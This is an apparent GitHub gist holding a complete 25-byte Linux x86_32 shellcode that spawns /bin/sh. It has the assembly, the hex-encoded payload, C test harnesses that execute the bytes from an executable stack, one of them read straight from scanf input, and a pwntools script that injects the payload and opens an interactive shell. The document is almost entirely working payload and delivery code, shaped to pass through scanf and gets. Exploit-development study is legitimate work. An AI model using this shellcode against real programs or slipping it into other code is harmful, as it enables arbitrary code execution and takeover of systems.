Skip to content

Instantly share code, notes, and snippets.

@Zhang1933
Last active December 20, 2022 23:35
Show Gist options
  • Save Zhang1933/0d1c7b69af48483832eb2d6b22de287e to your computer and use it in GitHub Desktop.
Save Zhang1933/0d1c7b69af48483832eb2d6b22de287e to your computer and use it in GitHub Desktop.
linux x86_32 shellcode.Should work for scanf,gets.
/*
Linux/x86_32 execve /bin/sh shellcode 25 bytes
==========================================
[SECTION .text]
global _start
[SECTION .text]
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov al,0xf
sub al,4
int 0x80
========================================
$ gcc -z execstack -m32 shellcodetest.c -o shellcodetest
$ ./shellcodetest
*/
#include<string.h>
#include<stdio.h>
/*shellcodetest.c*/
int main(int argc, char **argv){
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80";
printf("len:%d\n",strlen(code));
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}
#!/usr/bin/python3
"""
$ python3 pwntool.py
[+] Starting local process './shellcodetestinput': pid 72555
b'len:25\n'
[*] Switching to interactive mode
$
"""
from pwn import *
io = process('./shellcodetestinput')
io.sendline(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0f\x2c\x04\xcd\x80')
print(io.recvline())
io.interactive()
/*
test input by scanf
gcc -z execstack -m32 shellcodetestinput.c -o shellcodetestinput
*/
#include<stdio.h>
#include<string.h>
int main(int argc,char **argv){
char code[50];
//gets(code);
scanf("%s",code);
int (*func)();
printf("len:%d\n",strlen(code));
func = (int (*)()) code;
(int)(*func)();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment